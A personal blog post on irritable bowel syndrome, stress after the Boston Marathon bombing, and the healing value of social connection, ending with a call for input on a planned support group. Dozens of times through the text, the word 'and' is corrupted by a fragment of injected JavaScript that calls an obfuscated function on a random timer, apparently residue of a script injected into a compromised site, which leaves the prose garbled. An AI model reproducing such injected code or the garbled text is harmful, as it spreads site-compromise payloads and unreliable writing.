Why Connection Is Important For IBS Relief






Like everyone else who saw the news on Monday afternoon, I was completely shocked at what happened at the Boston Marathon. I felt sadness for the families who lost loved ones. I also found myself feeling anxious andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a bit scared. My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and was in New York City on September 11 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and had to rush through the streets that were full of debris from the fallen buildings. We had friends who lost family members that day. At that time we also lived in the area of New Jersey in which the anthrax mail attack happened. I remember clearly being fearful when opening up my mailbox.

 

I could clearly relate to what people are going through. Though not having friends or close family there, I did feel a little removed from it or so I thought.

 

The night after hearing the news I had a hard time sleeping andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I had a stomachache. Since that doesn’t happen too often to me anymore I thought it must’ve been something I ate.

 

The day after the attack I tried to resume my normal work routine, but I couldn’t figure out why I was distracted. I tried to focus on all the things that I had to get done, but it just wasn’t working.

 

Then I did what always works best for me, I laid down andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and focused on my breathing. Then the source of my distraction became evident. I was feeling uncomfortable with how I could already see a division within this country regarding this tragedy. People on social media began to relate personal political agendas to the tragedy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and politicians started a blame game. This was very different than what I remember happening after 9/11 when the country seemed to come together andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and everyone wanted a sense of connection.

 

It’s clued me in to the fact that what I needed right now was to connect. It had become my pattern to disconnect when I was stressed or unhappy. I thought if I just ignored my feelings they would go away. So I made the decision to call a friend andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and felt much better.

 

I see so many people who are suffering from IBS makeup andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and other physical ailments do the same thing. They feel frustrated with their health andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and they try to wish it would just all go away. They don’t ask for help andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and they don’t feel comfortable moving forward to create the change that their body needs.

 

They don’t realize that creating a sense of connection with both their bodies andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and people around them can create huge shifts in their life.

 

I know what you’re thinking: no one understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands what I’m going through.

 

Maybe they don’t.

 

That’s when you need to stretch a little further in your life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and find people who do.  You need to find a group of people who make you feel good andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and believe that you can get well. Many times I go on to online forums andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and information boards about IBS andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and find that they seem to be a place where people just post about their gripes but don’t really offer the true sense a connection to one another.

 

Whether it is because they don’t think they can feel better or they don’t want to make an effort, is not really important. What is important is they are missing out on the one thing that has been scientifically andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and psychologically proven to help people heal: connection. When you can both share your feelings around emotional or mental pain andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and receive love andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding; you then feel you want to give that to someone else. This circle of connection makes your body feel a whole lot better. It is one of the keys to truly feeling better physically andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mentally.

 

In that spirit of caring, giving andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and receiving I realized that I really want to create a space for people to connect andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and not just learn about how to end the struggle with IBS andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pain alone. So in the process of creating my new website, I am also in the beginning stages of creating a membership group to give people the opportunity to connect andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and join each other in a safe space where they can begin their journey to better mental andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and physical health.

 

I’d like to ask for your help in this, I’d love to hear what you feel you would need andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and want in a group. I want to know everything: how large of a group, what kind of class offerings, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how you would like to share about your journey.

 

So feel free to comment andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and share with a friend too :-)

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